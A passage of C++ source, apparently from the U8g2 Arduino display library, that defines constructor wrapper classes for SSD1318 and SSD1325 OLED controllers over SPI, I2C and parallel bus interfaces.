uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1318_128x96_xcp_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1318_128X96_XCP_F_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1318_128X96_XCP_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1318_128x96_xcp_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1318_128X96_XCP_F_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1318_128X96_XCP_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1318_128x96_xcp_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1318_128X96_XCP_F_3W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1318_128X96_XCP_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1318_128x96_xcp_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_SSD1318_128X96_XCP_F_3W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1318_128X96_XCP_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1318_128x96_xcp_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_SSD1318_128X96_XCP_F_6800 : public U8G2 {\n  public: U8G2_SSD1318_128X96_XCP_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1318_128x96_xcp_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1318_128X96_XCP_F_8080 : public U8G2 {\n  public: U8G2_SSD1318_128X96_XCP_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1318_128x96_xcp_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1318_128X96_1_SW_I2C : public U8G2 {\n  public: U8G2_SSD1318_128X96_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1318_i2c_128x96_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_SSD1318_128X96_1_HW_I2C : public U8G2 {\n  public: U8G2_SSD1318_128X96_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1318_i2c_128x96_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_SSD1318_128X96_1_2ND_HW_I2C : public U8G2 {\n  public: U8G2_SSD1318_128X96_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1318_i2c_128x96_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_SSD1318_128X96_XCP_1_SW_I2C : public U8G2 {\n  public: U8G2_SSD1318_128X96_XCP_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1318_i2c_128x96_xcp_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_SSD1318_128X96_XCP_1_HW_I2C : public U8G2 {\n  public: U8G2_SSD1318_128X96_XCP_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1318_i2c_128x96_xcp_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_SSD1318_128X96_XCP_1_2ND_HW_I2C : public U8G2 {\n  public: U8G2_SSD1318_128X96_XCP_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1318_i2c_128x96_xcp_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_SSD1318_128X96_2_SW_I2C : public U8G2 {\n  public: U8G2_SSD1318_128X96_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1318_i2c_128x96_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_SSD1318_128X96_2_HW_I2C : public U8G2 {\n  public: U8G2_SSD1318_128X96_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1318_i2c_128x96_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_SSD1318_128X96_2_2ND_HW_I2C : public U8G2 {\n  public: U8G2_SSD1318_128X96_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1318_i2c_128x96_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_SSD1318_128X96_XCP_2_SW_I2C : public U8G2 {\n  public: U8G2_SSD1318_128X96_XCP_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1318_i2c_128x96_xcp_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_SSD1318_128X96_XCP_2_HW_I2C : public U8G2 {\n  public: U8G2_SSD1318_128X96_XCP_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1318_i2c_128x96_xcp_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_SSD1318_128X96_XCP_2_2ND_HW_I2C : public U8G2 {\n  public: U8G2_SSD1318_128X96_XCP_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1318_i2c_128x96_xcp_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_SSD1318_128X96_F_SW_I2C : public U8G2 {\n  public: U8G2_SSD1318_128X96_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1318_i2c_128x96_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_SSD1318_128X96_F_HW_I2C : public U8G2 {\n  public: U8G2_SSD1318_128X96_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1318_i2c_128x96_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_SSD1318_128X96_F_2ND_HW_I2C : public U8G2 {\n  public: U8G2_SSD1318_128X96_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1318_i2c_128x96_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_SSD1318_128X96_XCP_F_SW_I2C : public U8G2 {\n  public: U8G2_SSD1318_128X96_XCP_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1318_i2c_128x96_xcp_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_SSD1318_128X96_XCP_F_HW_I2C : public U8G2 {\n  public: U8G2_SSD1318_128X96_XCP_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1318_i2c_128x96_xcp_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_SSD1318_128X96_XCP_F_2ND_HW_I2C : public U8G2 {\n  public: U8G2_SSD1318_128X96_XCP_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1318_i2c_128x96_xcp_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_SSD1325_NHD_128X64_1_4W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1325_NHD_128X64_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1325_nhd_128x64_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1325_NHD_128X64_1_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1325_NHD_128X64_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1325_nhd_128x64_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1325_NHD_128X64_1_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1325_NHD_128X64_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1325_nhd_128x64_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1325_NHD_128X64_1_3W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1325_NHD_128X64_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1325_nhd_128x64_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_SSD1325_NHD_128X64_1_3W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1325_NHD_128X64_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1325_nhd_128x64_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_SSD1325_NHD_128X64_1_6800 : public U8G2 {\n  public: U8G2_SSD1325_NHD_128X64_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1325_nhd_128x64_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1325_NHD_128X64_1_8080 : public U8G2 {\n  public: U8G2_SSD1325_NHD_128X64_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1325_nhd_128x64_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1325_NHD_128X64_2_4W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1325_NHD_128X64_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1325_nhd_128x64_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1325_NHD_128X64_2_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1325_NHD_128X64_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1325_nhd_128x64_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1325_NHD_128X64_2_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1325_NHD_128X64_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1325_nhd_128x64_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1325_NHD_128X64_2_3W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1325_NHD_128X64_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1325_nhd_128x64_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_SSD1325_NHD_128X64_2_3W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1325_NHD_128X64_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1325_nhd_128x64_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_SSD1325_NHD_128X64_2_6800 : public U8G2 {\n  public: U8G2_SSD1325_NHD_128X64_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1325_nhd_128x64_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1325_NHD_128X64_2_8080 : public U8G2 {\n  public: U8G2_SSD1325_NHD_128X64_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1325_nhd_128x64_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1325_NHD_128X64_F_4W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1325_NHD_128X64_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1325_nhd_128x64_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1325_NHD_128X64_F_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1325_NHD_128X64_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1325_nhd_128x64_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1325_NHD_128X64_F_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1325_NHD_128X64_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1325_nhd_128x64_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1325_NHD_128X64_F_3W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1325_NHD_128X64_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1325_nhd_128x64_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_SSD1325_NHD_128X64_F_3W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1325_NHD_128X64_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1325_nhd_128x64_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_SSD1325_NHD_128X64_F_6800 : public U8G2 {\n  public: U8G2_SSD1325_NHD_128X64_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1325_nhd_128x64_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1325_NHD_128X64_F_8080 : public U8G2 {\n  public: U8G2_SSD1325_NHD_128X64_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1325_nhd_128x64_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1325_NHD_128X64_1_SW_I2C : public U8G2 {\n  public: U8G2_SSD1325_NHD_128X64_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1325_i2c_nhd_128x64_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_SSD1325_NHD_128X64_1_HW_I2C : public U8G2 {\n  public: U8G2_SSD1325_NHD_128X64_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1325_i2c_nhd_128x64_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_SSD1325_NHD_128X64_1_2ND_HW_I2C : public U8G2 {\n  public: U8G2_SSD1325_NHD_128X64_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1325_i2c_nhd_128x64_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_SSD1325_NHD_128X64_2_SW_I2C : public U8G2 {\n  public: U8G2_SSD1325_NHD_128X64_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1325_i2c_nhd_128x64_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_SSD1325_NHD_128X64_2_HW_I2C : public U8G2 {\n  public: U8G2_SSD1325_NHD_128X64_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1325_i2c_nhd_128x64_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_SSD1325_NHD_128X64_2_2ND_HW_I2C : public U8G2 {\n  public: U8G2_SSD1325_NHD_128X64_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1325_i2c_nhd_128x64_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_SSD1325_NHD_128X64_F_SW_I2C : public U8G2 {\n  public: U8G2_SSD1325_NHD_128X64_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1325_i2c_nhd_128x64_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_SSD1325_NHD_128X64_F_HW_I2C : public U8G2 {\n  public: U8G2_SSD1325_NHD_128X64_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1325_i2c_nhd_128x64_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_SSD1325_NHD_128X64_F_2ND_HW_I2C : public U8G2 {\n  public: U8G2_SSD1325_NHD_128X64_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1325_i2c_nhd_128x64_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_SSD0323_OS128064_1_4W_SW_SPI : public U8G2 {\n  public: U8G2_SSD0323_OS128064_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    